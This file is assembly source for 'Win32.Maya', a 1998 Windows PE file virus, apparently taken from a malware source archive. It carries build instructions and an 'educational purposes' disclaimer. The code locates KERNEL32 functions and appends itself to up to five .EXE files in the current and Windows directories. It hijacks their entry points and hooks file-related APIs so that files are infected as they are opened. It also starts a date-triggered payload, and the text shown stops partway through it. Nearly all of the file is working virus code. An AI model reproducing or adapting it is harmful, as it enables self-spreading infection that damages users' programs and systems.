MalwareSourceCode/Win32/Win32.Maya.asm
2020-10-10 22:07:43 -05:00

1320 lines
63 KiB
NASM

;----------------------------------------------------------------------------
; ??? ??????????? ????????????????? ????????? ??????????? ???????????
; ??? ???????????? ????????????????? ????????? ????????? ??? ?????????
; ?????????????????????? ????????????? ????????? ???????????????????????
; ?????????????????????? ????????????? ????????? ???????????????????????
; ?????????? ???? ?????????????????????????? ??? ??? ??? ??? ??? ???
; ??????????????? ????????????????????????? ??? ??? ??? ??? ??? ???
; ??????????????????? Copyright 1998 The Shaitan [SLAM] ??????????????????
;
;
; - BETA PREVIEW v0.99b -
;
; Win32.Maya is a per-process memory resident infector of Win32 PE files...
;
;
; To compile (with TASM 5.0):
; ---------------------------
; tasm32 /ml /m5 maya.asm
; tlink32 /Tpe /aa maya.obj, maya.exe, , import32.lib
; pewrsec maya.exe
;
; Disclaimer:
; -----------
; THIS PROGRAM IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE
; HELD RESPONSIBLE FOR ANY DAMAGE ARISING OUT OF ANY USE, MISUSE OR INABILITY
; TO USE THIS PROGRAM.
;
;----------------------------------------------------------------------------
.386p
.model flat
JUMPS
code_len equ code_end - code_start
L equ
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
GENERIC_READ_WRITE equ GENERIC_READ or GENERIC_WRITE
OPEN_EXISTING equ 00000003h
PAGE_READWRITE equ 00000004h
PAGE_WRITECOPY equ 00000008h
FILE_MAP_WRITE equ 00000002h
FILE_SHARE_READ equ 00000001h
FILE_ATTRIBUTE_NORMAL equ 00000080h
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
FILE_BEGIN equ 00000000h
HKEY_CURRENT_USER equ 80000001h
KEY_SET_VALUE equ 00000002h
REG_SZ equ 00000001h
SPI_SETDESKWALLPAPER equ 00000020
CREATE_ALWAYS equ 00000002h
MB_ICONEXCLAMATION equ 00000030h
bmp_filesize equ offset bmp_data_end - offset bmp_data_start
FILETIME struc
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
WIN32_FIND_DATA struc
dwFileAttributes dd ?
ftCreationTime FILETIME ?
ftLastAccessTime FILETIME ?
ftLastWriteTime FILETIME ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName db 260 dup (?)
cAlternateFileName db 14 dup (?)
WIN32_FIND_DATA ends
SYSTEMTIME struc
wYear dw ?
wMonth dw ?
wDayOfWeek dw ?
wDay dw ?
wHour dw ?
wMinute dw ?
wSecond dw ?
wMilliseconds dw ?
SYSTEMTIME ends
; Functions imported by Generation-1 -
extrn ExitProcess:PROC
extrn GetModuleHandleA:PROC
extrn MessageBoxA:PROC
; Some dummy data for Generation-1 -
.data
dummy dd 'MAYA'
;----------------------------------------------------------------------------
; CODE -
;----------------------------------------------------------------------------
.code
code_start:
push ebp ; Save entry point EBP
call next_line ; Call next instruction
next_line: ;
pop ebp ; Pop EIP of the stack
mov ebx,ebp ;
sub ebp,offset next_line ; Adjust to get delta
db 0b8h ; mov eax,xxxxh (Patched during
eip_patch dd 1000h ; infection with RVA of startup EIP)
add eax,6 ; Adjust
sub ebx,eax ; EBX = Base address of running module
mov [module_base+ebp],ebx ; Save base address
; Get address of GetModuleHandleA from current process' import table
mov edx,offset GMH_string ; Offset of ASCIIZ API name
add edx,ebp ; Adjust with delta
mov ecx,[GMH_string_len+ebp]; Length of API name
push ebp ; Save EBP
call GetImportAPIAddress ; Get the address of the API call
pop ebp ; Restore EBP
cmp eax,0ffffffffh ; Could not retrieve API address?
je quit ; Yes. Do not continue...
mov [_GetModuleHandleA+ebp],eax ; Save address of function
push ebp ; Preserve delta pointer
mov ebx,offset k32_string ; Offset of ASCIIZ "KERNEL32.DLL"
add ebx,ebp ; Adjust with delta
push ebx ; Push parameter onto stack
call eax ; Call GetModuleHandleA
pop ebp ; Retrieve delta pointer
mov [kernel32+ebp],eax ; Save base address of KERNEL32.DLL
; Get addresses of all other API functions we need...
get_api_addresses:
mov edi,offset api_names ; Start of our API_NAME_STRUCT array
add edi,ebp ; Adjust with delta
api_address_loop:
mov ecx,[edi] ; ECX = Length of API name string
cmp ecx,'MAYA' ; End of array marker?
je aal_end ; Yes. Jump...
add edi,4 ; EDI = Offset of ASCIIZ API string
mov edx,edi ; EDX = " " " "
add edi,ecx ; EDI = Location to store API address
push edi ; Save EDI
call GetExportAPIAddress ; Lookup K32 exports for API address
pop edi ; Restore EDI
mov [edi],eax ; Save address of API function
add edi,4 ; EDI = Start of next API_NAME_STRUCT
jmp api_address_loop ; Loop till done
aal_end:
pp_resident:
; Now we infect files in the current and Windows base directory...
mov [infect_counter+ebp],0
call InfectCurrentAndWindowsDirectory
call HookAPI ; Try to hook some API calls
call Payload ; Run the virus' payload...
quit:
mov eax,[ori_eip+ebp] ; Original entry point
add eax,[module_base+ebp] ; RVA -> VA
pop ebp ; Restore the entry point EBP
push eax ; Push onto stack
ret ; Jump to original EIP
;----------------------------------------------------------------------------
; GetExportAPIAddress - Retrieves address of specified API function from
; KERNEL32 export table
;
; On entry : EDX - ASCIIZ string of API whose address is to be retrieved
; ECX - Length of the ASCIIZ API string
;
; Return value : Address of API call in EAX
;----------------------------------------------------------------------------
GetExportAPIAddress:
mov esi,[kernel32+ebp] ; ESI = K32 base address
cmp word ptr [esi],'ZM' ; Is K32 there?
jne GEAA_quit ; No. Cannot continue...
xor eax,eax ; EAX = 0
mov ax,word ptr [esi+3ch] ; Get RVA of PE header
add eax,[kernel32+ebp] ; RVA to VA
xchg esi,eax ; ESI = EAX
cmp word ptr [esi],'EP' ; Is the PE header there?
jne GEAA_quit ; No. Cannot continue...
mov esi,[esi+78h] ; Get .edata RVA from IMAGE_DATA_DIR
add esi,[kernel32+ebp] ; RVA -> VA
mov eax,[esi+1ch] ; RVA of array of function addresses
add eax,[kernel32+ebp] ; RVA -> VA
mov [AddressOfFunctions+ebp],eax ; Save
mov eax,[esi+20h] ; RVA of array of API name strings
add eax,[kernel32+ebp] ; RVA to VA
mov [AddressOfNames+ebp],eax; Save
mov eax,[esi+24h] ; RVA of array of export ordinals
add eax,[kernel32+ebp] ; RVA -> VA
mov [AddressOfOrdinals+ebp],eax; Save
xor eax,eax ; Initialize our counter
apisearch_loop:
push ecx ; ECX = Length of ASCIIZ API string
mov esi,edx ; ASCIIZ API function name
mov edi,[AddressOfNames+ebp]; Point to start of table containing
add edi,eax ; API function name strings...
mov edi,[edi] ; " " " " "
add edi,[kernel32+ebp] ; " " " " "
repe cmpsb ; Compare the two strings
cmp ecx,0 ; Exact match found?
je match ; Yes! Jump...
add eax,4 ; No. Lets compare the next string...
pop ecx ; Restore ECX
jmp apisearch_loop ; Continue looping (it's a for(;;) :)
match:
pop ecx ; Take it off the stack
shr eax,1 ; Divide by 2 (array is of WORDs)
add eax,[AddressOfOrdinals+ebp]; Point to proper element in array
xor ebx,ebx ; EBX = 0
mov bx,word ptr [eax] ; Get our index into AddressOfFuncs
shl ebx,2 ; Multiply by 4 (array is of DWORDs)
add ebx,[AddressOfFunctions+ebp]; Point to relevant element in array
mov eax,[ebx] ; EAX = RVA of API function address
add eax,[kernel32+ebp] ; EAX = Address of API function!!!
ret ; Exit with API address in EAX
GEAA_quit:
mov eax,0ffffffffh ; Error value in EAX
ret ; End of GetExportAPIAddress
;----------------------------------------------------------------------------
; GetImportAPIAddress - Retrieves address of imported API function from the
; the current processes Import Table.
;
; On entry : EDX = Offset of ASCIIZ API name to search for
; : ECX = Length of ASCIIZ string
;
; On Return : EAX = Address of API function
; EBX = Offset in import table where API address
; is stored
;----------------------------------------------------------------------------
GetImportAPIAddress:
mov esi,[module_base+ebp] ; ESI = Base address of process
cmp word ptr [esi],'ZM' ; Is the base correctly assumed?
jne GIAA_end ; No. Quit...
xor eax,eax ; EAX = 0
mov ax, word ptr [esi+3ch] ; Get RVA of PE header
mov esi,eax ; ESI = RVA of PE offset
add esi,[module_base+ebp] ; Convert RVA to VA
cmp word ptr [esi],'EP' ; Is the PE header there?
jne GIAA_end ; Nope. Quit...
mov esi,[esi+80h] ; RVA of .idata section
add esi,[module_base+ebp] ; ESI = Start of .idata section
mov eax,esi ; EAX = Start of .idata
find_ik32:
mov esi,eax ; ESI = First/next IMPORT_DESCRIPTOR
mov esi,[esi+0ch] ; RVA of imported module ASCIIZ string
add esi,[module_base+ebp] ; RVA >> VA
cmp [esi],'NREK' ; IMPORT_DESCRIPTOR for K32?
je ik32_found ; Yes, we found it!
add eax,14h ; EAX = Next IMPORT_DESCRIPTOR
jmp find_ik32 ; Loop till found...
ik32_found:
mov esi,eax ; ESI = K32 IMPORT_DESCRIPTOR
mov eax,[esi+10h] ; RVA of IMAGE_THUNK_DATA
add eax,[module_base+ebp] ; RVA to VA
mov [itd_va+ebp],eax ; Save it for later use...
cmp dword ptr [esi],0 ; NULL "OriginalFirstThunk" field?
je GIAA_end ; Yes, No hint-name table then :(
mov esi,[esi] ; Pointer to pointer!
add esi,[module_base+ebp] ; RVA >> VA
mov ebx,esi ;
xor eax,eax ; Init EAX (for use as an index)
iAPI_loop:
cmp dword ptr [ebx],0 ; No more RVAs?
je GIAA_end ; Yes. Jump...
cmp byte ptr [ebx+3],80h ; Ordinal?
je inc_ndx ; Yes. Skip...
mov esi,[ebx] ;
add esi,[module_base+ebp] ;
add esi,2 ; ESI = Start of ASCIIZ API name
mov edi,edx ; EDI = String to compare with
compare:
push ecx ; Preserve ECX
repe cmpsb ; Compare the 2 strings...
cmp ecx,0 ; Match found?
pop ecx ; Restore ECX (length of API string)
je API_found ; Yes! Jump...
inc_ndx:
inc eax ; No. Increment our index
add ebx,4 ;
jmp iAPI_loop ; Continue looping...
API_found:
shl eax,2 ; Multiply by 4
add eax,[itd_va+ebp] ; Point to corresponding element
mov ebx,eax ; EBX = Offset containing API address
mov eax,[eax] ; EAX = API call address
ret ; Return to caller
GIAA_end:
mov eax,0ffffffffh ; Error code
ret ; Return
;----------------------------------------------------------------------------
; InfectFile -
;
; On entry : EDX = ASCIIZ filename
;
; Returns : On success EAX = 0 & Infection counter incremented
; On failure EAX = 0ffffffffh
;----------------------------------------------------------------------------
InfectFile:
mov [infect_success+ebp],0 ; Initialize flag
call VxGetFileAttributes ; Get file attributes
mov [ori_attrib+ebp],eax ; Save them
push edx ; Save EDX (offset to ASCIIZ filename)
mov eax,FILE_ATTRIBUTE_NORMAL ; New file attributes to set
call VxSetFileAttributes ; Remove read-only etc restrictions
call VxOpenFile ; Try to open the file
cmp eax,0ffffffffh ; Error opening the file?
je if_restore_attrib ; Yes. Do not continue...
mov [file_handle+ebp],eax ; Save file handle
call VxGetFileSize ; Get the filesize
cmp eax,0ffffffffh ; Error?
je if_close_file ;
cmp [fsize_high+ebp],0 ; File too big?
jne if_close_file ; Yes. Do not try to infect
xchg ecx,eax ; ECX = File size
mov [new_filesize+ebp],ecx ; " " " "
mov eax,[file_handle+ebp] ; EAX = File handle
mov ecx,[new_filesize+ebp] ; ECX = File size
add ecx,code_len + 1000h ; Size of mapping object
call VxCreateFileMapping ; Create mapping object
cmp eax,0 ; Failure?
je if_close_map ; Yes. Cannot continue...
mov [map_handle+ebp],eax ; Save mapping handle
mov ecx,[new_filesize+ebp] ; ECX = No. of bytes to map view
add ecx,code_len + 1000h ; " " " " "
call VxMapViewOfFile ; Map view of file
cmp eax,0 ; Failure?
je if_close_map ; Yes. Do not continue...
mov [map_address+ebp],eax ; Save address of map view
mov esi,eax ; ESI = Address of map view
cmp word ptr [esi],'ZM' ; Is the MZ signature there?
jne if_close_view ; No. Not an EXE file...
cmp word ptr [esi+12h],'MW' ; Already infected?
je if_close_view ; Yes. Jump...
mov word ptr [esi+12h],'MW' ; No. Mark as infected now...
xor eax,eax ; EAX = 0
mov ax,word ptr [esi+3ch] ; Get offset to PE header
cmp ax,0 ; NULL field?
je if_close_view ; Yes. Not a PE file...
cmp eax,new_filesize ; Invalid field?
jae if_close_view ; Yes. Corrupt PE file... (?)
add eax,[map_address+ebp] ; RVA -> VA
mov esi,eax ; ESI = Offset of PE header
cmp word ptr [esi],'EP' ; Is the PE signature there?
jne if_close_view ; Nope. Not a PE file...
mov [pe_header+ebp],eax ; Save it for later use
mov eax,[esi+3ch] ; EAX = File Alignment
mov [file_align+ebp],eax ; Save for later use
mov eax,[ori_eip+ebp] ; Get original EIP in EAX
mov [tmp_eip+ebp],eax ; Save it in a temporary variable
mov eax,[esi+28h] ; EAX = Original EIP
mov [ori_eip+ebp],eax ; Save it
xor eax,eax ; EAX = 0
mov ax,word ptr [esi+6] ; Number of sections in file
dec eax ; Decrease by 1
mov cx,28h ; Size of each IMAGE_SECTION_HEADER
mul cx ; EAX = Size of section table - 28h
mov ebx,[esi+74h] ; EAX = NumberOfRvaAndSizes
shl ebx,3 ; Multiply by 3
add eax,ebx ; Add size of IMAGE_DATA_DIRECTORY
add eax,78h ; Size of PE header (- IMG_DATA_DIR)
add eax,[pe_header+ebp] ; EAX = Last entry in section table
mov [last_entry+ebp],eax ; Save ...
mov edi,eax ; EDI = Last entry in section table
mov eax,[edi+10h] ; EAX = Size of rawdata
mov [size_rawdata+ebp],eax ; Save for later use
add eax,[edi+0ch] ; Add VirtualAddress to get new EIP
mov [eip_patch+ebp],eax ; Patch the mov eax,xxxx instruction
mov [new_eip+ebp],eax ; Save for later use
push edi ; Preserve EDI
mov eax,[edi+14h] ; EAX = RVA of section data
add eax,[map_address+ebp] ; RVA -> VA
add eax,[edi+10h] ; EAX = Destination to copy to
mov edi,eax ; EDI = " " " "
mov esi,offset code_start ; ESI = Source to copy from
add esi,ebp ; Adjust with delta
mov ecx,code_len ; ECX = No. of bytes to copy
cld ; Clear direction flag
rep movsb ; Copy all the bytes
pop edi ; Restore EDI
add dword ptr [edi+10h],code_len ; New SizeOfRawData
add [new_filesize+ebp],code_len ; New filesize
xor edx,edx ; EDX = 0
mov eax,[edi+10h] ; EAX = Size of raw data
mov ecx,[file_align+ebp] ; ECX = File alignment
push ecx ; Preserve ECX
div ecx ; Divide by ECX
pop ecx ; Restore ECX
sub ecx,edx ; ECX = No. of bytes to pad
add [edi+10h],ecx ; New size of section raw-data
add [new_filesize+ebp],ecx ; Final new filesize!
mov eax,[edi+10h] ; EAX = SizeofRawData
mov [edi+8],eax ; VirtualSize = SizeOfRawData
or dword ptr [edi+24h],00000020h ; Section now contains CODE
or dword ptr [edi+24h],20000000h ; Section is now EXECUTABLE
or dword ptr [edi+24h],80000000h ; Section is now WRITEABLE
mov esi,[pe_header+ebp] ; ESI = Offset of PE header
; Now ESI = Offset of PE header & EDI = Offset of last entry of section table
mov eax,[new_eip+ebp] ; EAX = Previously saved new EIP
mov [esi+28h],eax ; Patch PE header AddressOfEntryPoint
mov eax,[new_filesize+ebp] ; EAX = New image size
mov [esi+50h],eax ; Patch PE header SizeOfImage
mov eax,[tmp_eip+ebp] ; Get saved EIP
mov [ori_eip+ebp],eax ; Restore the original variable
mov [infect_success+ebp],1 ; Successful infection!
if_close_view:
mov eax,[map_address+ebp] ; EAX = Mapping address
call VxUnmapViewOfFile ; Unmap the mapped view
if_close_map:
mov eax,[map_handle+ebp] ; Get mapping object handle
call VxCloseHandle ; Close the mapping object
if_setfilesize:
mov eax,[file_handle+ebp] ; EAX = File handle
mov ecx,[new_filesize+ebp] ; ECX = Distance to move
call VxSetFilePointer ; Seek to reqd. location in file
cmp eax,0ffffffffh ; Error?
je if_close_file ; Yes. Jump...
mov eax,[file_handle+ebp] ; EAX = File handle
call VxSetEndOfFile ; Mark end of file
if_close_file:
mov eax,[file_handle+ebp] ; Retrieve open file's handle
call VxCloseHandle ; Close the file
if_restore_attrib:
pop edx ; Restore saved filename
mov eax,[ori_attrib+ebp] ; Get saved attributes
call VxSetFileAttributes ; Restore original attributes
if_end:
ret ; Return to caller
;----------------------------------------------------------------------------
; VxOpenFile -
;----------------------------------------------------------------------------
VxOpenFile:
push ebp ; Save delta pointer
push L 0 ; Template file (?)
push FILE_ATTRIBUTE_NORMAL ; Attribute of file
push OPEN_EXISTING ; Open an existing file
push L 0 ; Security Attributes
push FILE_SHARE_READ ; Share mode
push GENERIC_READ_WRITE ; Access mode
push edx ; ASCIIZ Filename
mov eax,[_CreateFileA+ebp] ; Address of API call
call eax ; Call API to open file
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; VxCloseHandle -
;----------------------------------------------------------------------------
VxCloseHandle:
push ebp ; Preserve delta
push eax ; EBX = File handle
mov eax,[_CloseHandle+ebp] ; API to call
call eax ; Call API function
pop ebp ; Restore delta
ret ; Return to caller
;----------------------------------------------------------------------------
; VxCreateFileMapping -
;----------------------------------------------------------------------------
VxCreateFileMapping:
push ebp ; Save delta pointer
push L 0 ; Name of mapping object
push ecx ; Max size of mapping object
push L 0 ; " " " "
push PAGE_READWRITE ; Read/Write access
push L 0 ; Security attributes
push eax ; Handle of file to map
mov eax,[_CreateFileMappingA+ebp] ; Address of API call
call eax ; Call API to map file
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; VxMapViewOfFile -
;----------------------------------------------------------------------------
VxMapViewOfFile:
push ebp ; Save delta pointer
push ecx ; No. of bytes to map
push L 0 ; File offset (low)
push L 0 ; File offset (high)
push FILE_MAP_WRITE ; Read/Write access
push eax ; Handle to mapping object
mov eax,[_MapViewOfFile+ebp] ; Address of API call
call eax ; Create a map file view
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; VxUnmapViewOfFile -
;----------------------------------------------------------------------------
VxUnmapViewOfFile:
push ebp ; Save delta pointer
push eax ; Address of file map
mov eax,[_UnmapViewOfFile+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; VxSetFilePointer -
;----------------------------------------------------------------------------
VxSetFilePointer:
push ebp ; Save delta pointer
push FILE_BEGIN ; Move from start of file
push L 0 ; Distance to move (high)
push ecx ; " " " "
push eax ; Handle of file
mov eax,[_SetFilePointer+ebp] ; API function to call
call eax ; Call API
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; VxSetEndOfFile -
;----------------------------------------------------------------------------
VxSetEndOfFile:
push ebp ; Save delta pointer
push eax ; Handle of file to truncate
mov eax,[_SetEndOfFile+ebp] ; API to call
call eax ; Call API to truncate file
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; VxGetFileSize -
;----------------------------------------------------------------------------
VxGetFileSize:
push ebp ; Save delta pointer
mov ebx,offset fsize_high ; Offset to store high-dword
add ebx,ebp ; of filesize...
push ebx ; Push onto stack
push eax ; Push file handle onto stack
mov eax,[_GetFileSize+ebp] ; Get address of API call
call eax ; Call API function
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; VxGetFileAttributes -
;----------------------------------------------------------------------------
VxGetFileAttributes:
push ebp ; Save delta pointer
push edx ; Save EDX
push edx ; Offset of ASCIIZ filename
mov eax,[_GetFileAttributesA+ebp] ; API to call
call eax ; Call API function
pop edx ; Restore EDX
pop ebp ; Restore delta
ret ; Return to caller
;----------------------------------------------------------------------------
; VxSetFileAttributes -
;----------------------------------------------------------------------------
VxSetFileAttributes:
push ebp ; Save delta pointer
push eax ; Attributes to set
push edx ; Offset of ASCIIZ filename
mov eax,[_SetFileAttributesA+ebp] ; API to call
call eax ; Call API function
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; VxGetCurrentDirectory -
;----------------------------------------------------------------------------
VxGetCurrentDirectory:
push ebp ; Save delta
push eax ; Buffer to store directory string
push L 128 ; Length of Directory buffer
mov eax,[_GetCurrentDirectoryA+ebp]; Address of API to call
call eax ; Call API
pop ebp ; Restore EBP
ret ; Return to caller
;----------------------------------------------------------------------------
; VxSetCurrentDirectory -
;----------------------------------------------------------------------------
VxSetCurrentDirectory:
push ebp ; Save delta
push eax ; Buffer to store directory string
mov eax,[_SetCurrentDirectoryA+ebp]; Address of API to call
call eax ; Call API
pop ebp ; Restore EBP
ret ; Return to caller
;----------------------------------------------------------------------------
; VxGetWindowsDirectory -
;----------------------------------------------------------------------------
VxGetWindowsDirectory:
push ebp ; Save delta
push L 128 ; Size of buffer
push eax ; Buffer to store directory string
mov eax,[_GetWindowsDirectoryA+ebp]; Address of API to call
call eax ; Call API
pop ebp ; Restore EBP
ret ; Return to caller
;----------------------------------------------------------------------------
; VxGetSystemTime -
;----------------------------------------------------------------------------
VxGetSystemTime:
push ebp ; Save delta pointer
mov eax,offset st ; Offset of SYSTEMTIME structure
add eax,ebp ; Adjust
push eax ; Pass as parameter
mov eax,[_GetSystemTime+ebp]; Address of API to call
call eax ; Call API
pop ebp ; Restore delta pointer
ret ; Return to caller
;----------------------------------------------------------------------------
; VxGetModuleHandle -
;----------------------------------------------------------------------------
VxGetModuleHandle:
push ebp ; Save delta
push eax ; EAX = ASCIIZ module name
mov eax,[_GetModuleHandleA+ebp] ; Address of API to call
call eax ; Call API
pop ebp ; Restore EBP
ret ; Return to caller
;----------------------------------------------------------------------------
; VxGetProcAddress -
;----------------------------------------------------------------------------
VxGetProcAddress:
push ebp ; Save EBP
push edx ; EDX = ASCIIZ API name string
push eax ; EAX = Base address of module
mov eax,[_GetProcAddress+ebp]; Address of API to call
call eax ; Call GetProcAddress
pop ebp ; Restore EBP
ret ; Return to caller
;----------------------------------------------------------------------------
; HookAPI - This function looks up the addresses of several API functions
; in the import table of the current process and replaces them
; with the addresses of the virus' handlers.
;----------------------------------------------------------------------------
HookAPI:
mov edi,offset hookable_api ; Start of Hookable API array
add edi,ebp ; Adjust with delta
hookapi_loop:
mov ecx,[edi] ; ECX = Length of API string
cmp ecx,'SHAI' ; End of array?
je hal_end ; Yes. Exit loop...
add edi,4 ; EDI = Offset of API string
mov edx,edi ; EDX = " " "
push edi ; Save EDI
push ecx ; Save ECX
push ebp ; Save delta
call GetImportAPIAddress ; Get API address
pop ebp ; Restore delta
pop ecx ; Restore ECX
pop edi ; Restore EDI
add edi,ecx ; EDI = Offset to store API address
cmp eax,0ffffffffh ; API not found in import table?
je next_hook ; No. Jump...
mov [edi],eax ; Save original API address
mov eax,[edi+4] ; EAX = Address of new handler
add eax,ebp ; Adjust with delta
mov [ebx],eax ; Patch import table
next_hook:
add edi,8 ; Next element in Hookable API array
jmp hookapi_loop ; Loop till done
hal_end:
ret ; Return to caller
;----------------------------------------------------------------------------
; HookInfect -
;----------------------------------------------------------------------------
HookInfect:
pushad ; Save all registers
call GetDelta ; Get delta pointer
add ecx,28h ; ESP + ECX = Offset of ASCIIZ string
mov edx,[esp+ecx] ; EDX = ASCIIZ filename to infect
call CheckIfEXE ; Check if file has .EXE extension
cmp eax,1 ; Is it an .EXE?
jne hi_end ; No. Exit...
call InfectFile ; Try to infect the file
hi_end:
popad ; Restore saved registers
ret ; Return to caller
;----------------------------------------------------------------------------
; CheckIfEXE -
;----------------------------------------------------------------------------
CheckIfEXE:
mov esi,edx ; ESI = Start of ASCIIZ string
cld ; Clear direction flag
cie_loop:
lodsb ; AL = Byte at ESI (and ESI++)
cmp al,0 ; End of string?
je cie_end_fail ; Yes. Jump...
cmp al,'.' ; DOT found?
jne cie_loop ; Loop till done...
cmp [esi-1],'EXE.' ; Is it an EXE?
je cie_end_ok ; Yes. Jump...
cmp [esi-1],'exe.' ; Is it an EXE?
je cie_end_ok ; Yes. Jump...
cie_end_fail:
xor eax,eax ; EAX = 0 (Not an EXE)
ret ; Return
cie_end_ok:
mov eax,1 ; EAX = 1 (File has an EXE extension)
ret ; Return
;----------------------------------------------------------------------------
; The following are handlers for hooked API calls...
;----------------------------------------------------------------------------
HookMoveFile:
call FunctionUsedByHookers ;
jmp [_MoveFileA+ecx] ; Jump to original API address
;----------------------------------------------------------------------------
HookCopyFile:
call FunctionUsedByHookers ;
jmp [_CopyFileA+ecx] ; Jump to original API address
;----------------------------------------------------------------------------
HookCreateFile:
call FunctionUsedByHookers ;
jmp [_CreateFileHook+ecx] ; Jump to original API address
;----------------------------------------------------------------------------
HookDeleteFile:
call FunctionUsedByHookers ;
jmp [_DeleteFileA+ecx] ; Jump to original API address
;----------------------------------------------------------------------------
HookSetFileAttributes:
call FunctionUsedByHookers ;
jmp [_SetFileAttributesHook+ecx] ; Jump to original API address
;----------------------------------------------------------------------------
HookGetFileAttributes:
call FunctionUsedByHookers ;
jmp [_GetFileAttributesHook+ecx] ; Jump to original API address
;----------------------------------------------------------------------------
HookGetFullPathName:
call FunctionUsedByHookers ;
jmp [_GetFullPathNameA+ecx] ; Jump to original API address
;----------------------------------------------------------------------------
HookCreateProcess:
call FunctionUsedByHookers ;
jmp [_CreateProcessA+ecx] ; Jump to original API address
;----------------------------------------------------------------------------
FunctionUsedByHookers:
mov ecx,4 ; Parameter no. * 4
call HookInfect ; Try to infect the file
push ebp ; Save EBP
call GetDelta ; EBP = Delta pointer
mov ecx,ebp ; ECX = " " "
pop ebp ; Restore ECX
ret ; Return to uh... hooker
;----------------------------------------------------------------------------
; GetDelta -
;----------------------------------------------------------------------------
GetDelta:
call get_delta ; Get delta pointer in EBP using the
get_delta: ; usual trick...
pop ebp ; " " " " "
sub ebp,offset get_delta ; " " " " "
ret ; " " " " "
;----------------------------------------------------------------------------
; InfectCurrentAndWindowsDirectory -
;----------------------------------------------------------------------------
InfectCurrentAndWindowsDirectory:
mov [infect_counter+ebp],0 ; Initialize counter
call InfectCurrentDirectory ; Infect files in current directory
cmp [infect_counter+ebp],5 ; Maximum no. of files infected?
je ICAWD_end ; Yes. Jump...
mov eax,offset currdir ; Buffer to store dir string
add eax,ebp ; Adjust with delta
call VxGetCurrentDirectory ; Get current directory
cmp eax,00000000h ; Error?
je ICAWD_end ; Yes, Jump...
mov eax,offset windir ; Buffer to store dir string
add eax,ebp ; Adjust with delta
call VxGetWindowsDirectory ; Get Windows base directory
cmp eax,00000000h ; Error?
je ICAWD_end ; Yes, Jump...
mov eax,offset windir ; Offset of ASCIIZ dir string
add eax,ebp ; Adjust with delta
call VxSetCurrentDirectory ; Change to Windows base directory
cmp eax,00000000h ; Error?
je ICAWD_end ; Yes, Jump...
call InfectCurrentDirectory ; Infect some files there
mov eax,offset currdir ; Offset of ASCIIZ dir string
add eax,ebp ; Adjust with delta
call VxSetCurrentDirectory ; Change to original directory
ICAWD_end:
ret ; Return to caller
;----------------------------------------------------------------------------
; InfectCurrentDirectory -
;----------------------------------------------------------------------------
InfectCurrentDirectory:
push ebp ; Save Delta
mov eax,offset wfd ; WIN32_FIND_DATA structure
add eax,ebp ; Adjust with delta
push eax ; Push onto stack
mov eax,offset exe_match ; Search for *.EXE
add eax,ebp ; Adjust with delta
push eax ; Push onto stack
mov eax,[_FindFirstFileA+ebp]; Address of API to call
call eax ; Call API
pop ebp ; Restore delta
cmp eax,0ffffffffh ; No matching files found?
je icd_end ; Cannot continue...
mov [search_handle+ebp],eax ; Save search handle
mov edx,offset wfd.cFileName; Offset to ASCIIZ filename
add edx,ebp ; Adjust with delta pointer
call InfectFile ; Infect da file
cmp [infect_success+ebp],1 ; Successful infection?
jne fnf_loop ; No. Find next file to infect
inc [infect_counter+ebp] ; Increment infection counter
cmp [infect_counter+ebp],5 ; Max no. of file infected?
je icd_end ; Yes. Quit...
fnf_loop:
push ebp ; Save delta pointer
mov eax,offset wfd ; W32_FIND_DATA structure
add eax,ebp ; Adjust
push eax ; Push parametre onto stack
push [search_handle+ebp] ; Push handle of search onto stack
mov eax,[_FindNextFileA+ebp]; API to call
call eax ; Find next file...
pop ebp ; Restore delta pointer
cmp eax,0 ; File found?
je icd_end ; No. Quit...
mov edx,offset wfd.cFileName; ASCIIZ filename of found file
add edx,ebp ; Adjust with delta
call InfectFile ; Infect it...
cmp [infect_success+ebp],1 ; Successful infection?
jne fnf_loop ; Nope. Loop...
inc [infect_counter+ebp] ; Increment counter
cmp [infect_counter+ebp],5 ; Max infections reached?
je icd_end ; Yeah. Quit..
jmp fnf_loop ; Loop...
icd_end:
ret ; Return to caller
;----------------------------------------------------------------------------
; Payload -
;----------------------------------------------------------------------------
Payload:
call VxGetSystemTime ; Get current date/time
cmp [st.wDay+ebp],1 ; Is it the 1st of any month?
jne payload_end ; No. Don't activate payload...
mov eax,offset u32_string ; USER32.DLL ASCIIZ string
add eax,ebp ; Adjust
call VxGetModuleHandle ; Get base address of module
cmp eax,00000000h ; Failed?
je payload_end ; Yes. Don't continue...
mov [user32+ebp],eax ; Save address of USER32.DLL
mov eax,offset a32_string ; ADVAPI32.DLL ASCIIZ string
add eax,ebp ; Adjust
call VxGetModuleHandle ; Get base address of module
cmp eax,00000000h ; Failed?
je payload_end ; Yes. Don't continue...
mov [advapi32+ebp],eax ; Save address of ADVAPI32.DLL
mov edx,offset regopen_string; ASCIIZ "RegOpenKeyExA"
add edx,ebp ; Adjust
mov eax,[advapi32+ebp] ; Base address of ADVAPI32.DLL
call VxGetProcAddress ; Get address of API call
cmp eax,00000000h ; Function failed?
je payload_end ; Yes. Don't continue...
mov [_RegOpenKeyExA+ebp],eax; Save address of API function
mov edx,offset regset_string; ASCIIZ "RegSetValueExA"
add edx,ebp ; Adjust
mov eax,[advapi32+ebp] ; Base address of ADVAPI32.DLL
call VxGetProcAddress ; Get address of API call
cmp eax,00000000h ; Function failed?
je payload_end ; Yes. Don't continue...
mov [_RegSetValueExA+ebp],eax; Save address of API function
mov edx,offset msgbox_string; ASCIIZ "MessageBoxA"
add edx,ebp ; Adjust
mov eax,[user32+ebp] ; Base address of USER32.DLL
call VxGetProcAddress ; Get address of API call
cmp eax,00000000h ; Function failed?
